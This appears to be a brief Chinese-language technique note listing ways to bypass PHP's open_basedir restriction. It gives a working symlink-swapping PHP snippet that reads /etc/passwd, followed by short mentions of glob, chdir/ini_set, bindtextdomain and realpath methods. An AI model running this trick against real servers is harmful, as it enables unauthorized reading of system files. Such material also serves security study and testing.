bypass_open_basedir

bypass_open_basedir


相关文章 & Source & Reference


通过建立软链达成 bypass

<?php

symlink("abc/abc/abc/abc","templink2");
symlink("templink2/../../../../../etc/passwd","exploit");
unlink("templink2");
mkdir("templink2");

?>

首先是创建一个 link,将 tmplink 用相对路径指向 abc/abc/abc/abc,然后再创建一个 link,将 exploit 指向 tmplink/../../../../etc/passwd,此时就相当于 exploit 指向了 abc/abc/abc/abc/../../../../etc/passwd ,也就相当于 exploit 指向了 /etc/passwd ,此时删除 tmplink 文件后再创建 tmplink 目录,此时就变为 /etc/passwd 成功跨目录。

访问 exploit 即可读取到 /etc/passwd


利用 glob

通过查找匹配进行 bypass,不过只能列举根目录下的文件


chdir() 与 ini_set()

chdir 是更改当前工作路径

可以用如下代码观察一下其 bypass 过程


bindtextdomain

该函数的第二个参数为一个文件路径,先看代码:

当文件不存在时返回值为 false,因为不支持通配符,该方法只能适用于 linux 下的暴力猜解文件。


Realpath

同样是基于报错,但 realpath 在 windows 下可以使用通配符 <> 进行列举